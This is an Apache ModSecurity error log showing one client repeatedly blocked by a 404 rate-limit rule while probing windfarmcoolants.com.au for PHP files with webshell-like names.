[Sat Apr 04 00:28:21.764080 2026] [:error] [pid 40533:tid 40537] [client 20.215.254.185:61560] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "ac_qpfbIAA8AViDmwssK_QAAAUI"]
[Sat Apr 04 00:28:22.293130 2026] [:error] [pid 35469:tid 35481] [client 20.215.254.185:64449] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "ac_qpqGvTIc8-wY3jUTWggAAAQo"]
[Sat Apr 04 00:28:22.813346 2026] [:error] [pid 35469:tid 35489] [client 20.215.254.185:56204] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "ac_qpqGvTIc8-wY3jUTWhQAAARI"]
[Sat Apr 04 00:28:23.335127 2026] [:error] [pid 35469:tid 35486] [client 20.215.254.185:47568] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/CDX1.php"] [unique_id "ac_qp6GvTIc8-wY3jUTWiQAAAQ8"]
[Sat Apr 04 00:28:23.858026 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:64485] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "ac_qp_bIAA8AViDmwssLAgAAAVM"]
[Sat Apr 04 00:28:24.398176 2026] [:error] [pid 33445:tid 33472] [client 20.215.254.185:47612] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "ac_qqFlRNZ0iDVmJWM2FMwAAABY"]
[Sat Apr 04 00:28:24.940907 2026] [:error] [pid 40533:tid 40546] [client 20.215.254.185:60564] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "ac_qqPbIAA8AViDmwssLCAAAAUs"]
[Sat Apr 04 00:28:25.469114 2026] [:error] [pid 33445:tid 33470] [client 20.215.254.185:61533] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8daf1238_1774208172.php"] [unique_id "ac_qqVlRNZ0iDVmJWM2FOgAAABQ"]
[Sat Apr 04 00:28:25.990925 2026] [:error] [pid 33445:tid 33474] [client 20.215.254.185:59210] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac_qqVlRNZ0iDVmJWM2FQAAAABg"]
[Sat Apr 04 00:28:26.505517 2026] [:error] [pid 35469:tid 35487] [client 20.215.254.185:61546] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac_qqqGvTIc8-wY3jUTWjgAAARA"]
[Sat Apr 04 00:28:27.022623 2026] [:error] [pid 40533:tid 40556] [client 20.215.254.185:60568] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac_qq_bIAA8AViDmwssLDwAAAVU"]
[Sat Apr 04 00:28:27.536967 2026] [:error] [pid 33446:tid 33479] [client 20.215.254.185:60588] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ortasekerli1.php"] [unique_id "ac_qq9g3dCqFYIIdw0qqLQAAAEI"]
[Sat Apr 04 00:28:28.051848 2026] [:error] [pid 40562:tid 40580] [client 20.215.254.185:47608] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "ac_qrDfFMXuP9zvqCerCmAAAAY8"]
[Sat Apr 04 00:28:28.570319 2026] [:error] [pid 55174:tid 55185] [client 20.215.254.185:57206] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "ac_qrJ_WKqUonPNUHYwc1QAAAck"]
[Sat Apr 04 00:28:29.096804 2026] [:error] [pid 40562:tid 40589] [client 20.215.254.185:56228] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "ac_qrTfFMXuP9zvqCerCpQAAAZg"]
[Sat Apr 04 00:28:29.613450 2026] [:error] [pid 33446:tid 33484] [client 20.215.254.185:56218] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bgymj.php"] [unique_id "ac_qrdg3dCqFYIIdw0qqLwAAAEc"]
[Sat Apr 04 00:28:30.134713 2026] [:error] [pid 55174:tid 55197] [client 20.215.254.185:63169] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac_qrp_WKqUonPNUHYwc2AAAAdU"]
[Sat Apr 04 00:28:30.649698 2026] [:error] [pid 55174:tid 55188] [client 20.215.254.185:47575] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac_qrp_WKqUonPNUHYwc3AAAAcw"]
[Sat Apr 04 00:28:31.172159 2026] [:error] [pid 40533:tid 40539] [client 20.215.254.185:61564] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac_qr_bIAA8AViDmwssLEwAAAUQ"]
[Sat Apr 04 00:28:31.686947 2026] [:error] [pid 33445:tid 33464] [client 20.215.254.185:47553] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ac_qr1lRNZ0iDVmJWM2FRQAAAA4"]
[Sat Apr 04 00:28:32.198662 2026] [:error] [pid 40562:tid 40570] [client 20.215.254.185:59245] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "ac_qsDfFMXuP9zvqCerCqgAAAYU"]
[Sat Apr 04 00:28:32.714143 2026] [:error] [pid 33447:tid 33512] [client 20.215.254.185:56208] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "ac_qsEgaPmDHz92j4lNwrgAAAIg"]
[Sat Apr 04 00:28:33.243946 2026] [:error] [pid 40533:tid 40551] [client 20.215.254.185:56250] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "ac_qsfbIAA8AViDmwssLIAAAAVA"]
[Sat Apr 04 00:28:33.764786 2026] [:error] [pid 55174:tid 55195] [client 20.215.254.185:64480] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wziar1.php"] [unique_id "ac_qsZ_WKqUonPNUHYwc5QAAAdM"]
[Sat Apr 04 00:28:34.291368 2026] [:error] [pid 40533:tid 40553] [client 20.215.254.185:61516] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac_qsvbIAA8AViDmwssLJgAAAVI"]
[Sat Apr 04 00:28:34.827141 2026] [:error] [pid 33445:tid 33468] [client 20.215.254.185:47599] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac_qsllRNZ0iDVmJWM2FSAAAABI"]
[Sat Apr 04 00:28:35.341360 2026] [:error] [pid 40533:tid 40554] [client 20.215.254.185:61530] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac_qs_bIAA8AViDmwssLLgAAAVM"]
[Sat Apr 04 00:28:35.854949 2026] [:error] [pid 33445:tid 33455] [client 20.215.254.185:63208] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "ac_qs1lRNZ0iDVmJWM2FSgAAAAU"]
[Sat Apr 04 00:28:36.374823 2026] [:error] [pid 33445:tid 33458] [client 20.215.254.185:61515] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "ac_qtFlRNZ0iDVmJWM2FTQAAAAg"]
[Sat Apr 04 00:28:36.905533 2026] [:error] [pid 40533:tid 40538] [client 20.215.254.185:64509] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "ac_qtPbIAA8AViDmwssLOQAAAUM"]
[Sat Apr 04 00:28:37.425679 2026] [:error] [pid 35469:tid 35476] [client 20.215.254.185:61062] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "ac_qtaGvTIc8-wY3jUTWoQAAAQU"]
[Sat Apr 04 00:28:37.942094 2026] [:error] [pid 33542:tid 33561] [client 20.215.254.185:61112] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byypas.php"] [unique_id "ac_qtXwb6uB1LaGtepY_twAAANA"]
[Sat Apr 04 00:28:38.458129 2026] [:error] [pid 40533:tid 40543] [client 20.215.254.185:60566] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ac_qtvbIAA8AViDmwssLQgAAAUg"]
[Sat Apr 04 00:28:38.977366 2026] [:error] [pid 40533:tid 40550] [client 20.215.254.185:52471] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ac_qtvbIAA8AViDmwssLRgAAAU8"]
[Sat Apr 04 00:28:39.492080 2026] [:error] [pid 35469:tid 35479] [client 20.215.254.185:60546] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ac_qt6GvTIc8-wY3jUTWogAAAQg"]
[Sat Apr 04 00:28:40.010203 2026] [:error] [pid 55174:tid 55192] [client 20.215.254.185:63189] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uuu.php"] [unique_id "ac_quJ_WKqUonPNUHYwc6wAAAdA"]
[Sat Apr 04 00:28:40.551533 2026] [:error] [pid 40533:tid 40536] [client 20.215.254.185:56203] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "ac_quPbIAA8AViDmwssLUgAAAUE"]
[Sat Apr 04 00:28:41.068603 2026] [:error] [pid 40562:tid 40587] [client 20.215.254.185:63778] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "ac_quTfFMXuP9zvqCerCrwAAAZY"]
[Sat Apr 04 00:28:41.581860 2026] [:error] [pid 33445:tid 33465] [client 20.215.254.185:63207] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "ac_quVlRNZ0iDVmJWM2FUgAAAA8"]
[Sat Apr 04 00:28:42.104280 2026] [:error] [pid 33445:tid 33468] [client 20.215.254.185:64495] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "ac_qullRNZ0iDVmJWM2FVgAAABI"]
[Sat Apr 04 00:28:42.650550 2026] [:error] [pid 33542:tid 33550] [client 20.215.254.185:56247] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ac_qunwb6uB1LaGtepY_wwAAAMU"]
[Sat Apr 04 00:28:43.173600 2026] [:error] [pid 55174:tid 55196] [client 20.215.254.185:61059] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ac_qu5_WKqUonPNUHYwc8wAAAdQ"]
[Sat Apr 04 00:28:43.691453 2026] [:error] [pid 40533:tid 40559] [client 20.215.254.185:59258] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ac_qu_bIAA8AViDmwssLXAAAAVg"]
[Sat Apr 04 00:28:44.218559 2026] [:error] [pid 33542:tid 33556] [client 20.215.254.185:61067] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "ac_qvHwb6uB1LaGtepY_xgAAAMs"]
[Sat Apr 04 00:28:44.735477 2026] [:error] [pid 33542:tid 33564] [client 20.215.254.185:61056] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac_qvHwb6uB1LaGtepY_xwAAANM"]
[Sat Apr 04 00:28:45.259759 2026] [:error] [pid 40533:tid 40548] [client 20.215.254.185:47581] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac_qvfbIAA8AViDmwssLZQAAAU0"]
[Sat Apr 04 00:28:45.774622 2026] [:error] [pid 40533:tid 40550] [client 20.215.254.185:61517] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac_qvfbIAA8AViDmwssLawAAAU8"]
[Sat Apr 04 00:28:46.290159 2026] [:error] [pid 33446:tid 33482] [client 20.215.254.185:59257] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/jlex.php"] [unique_id "ac_qvtg3dCqFYIIdw0qqOQAAAEU"]
[Sat Apr 04 00:28:46.815053 2026] [:error] [pid 40533:tid 40536] [client 20.215.254.185:59239] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ac_qvvbIAA8AViDmwssLcQAAAUE"]
[Sat Apr 04 00:28:47.334476 2026] [:error] [pid 40562:tid 40579] [client 20.215.254.185:56236] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ac_qvzfFMXuP9zvqCerCswAAAY4"]
[Sat Apr 04 00:28:47.853951 2026] [:error] [pid 55174:tid 55190] [client 20.215.254.185:64444] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ac_qv5_WKqUonPNUHYwc9gAAAc4"]
[Sat Apr 04 00:28:48.371006 2026] [:error] [pid 40533:tid 40538] [client 20.215.254.185:63750] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/classwithtostring.php"] [unique_id "ac_qwPbIAA8AViDmwssLeQAAAUM"]
[Sat Apr 04 00:28:48.889474 2026] [:error] [pid 40562:tid 40576] [client 20.215.254.185:56206] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "ac_qwDfFMXuP9zvqCerCtwAAAYs"]
[Sat Apr 04 00:28:49.421066 2026] [:error] [pid 33445:tid 33454] [client 20.215.254.185:56209] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "ac_qwVlRNZ0iDVmJWM2FZwAAAAQ"]
[Sat Apr 04 00:28:49.936478 2026] [:error] [pid 33542:tid 33549] [client 20.215.254.185:61071] [client 20.215.254.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "ac_qwXwb6uB1LaGtepY_ygAAAMQ"]
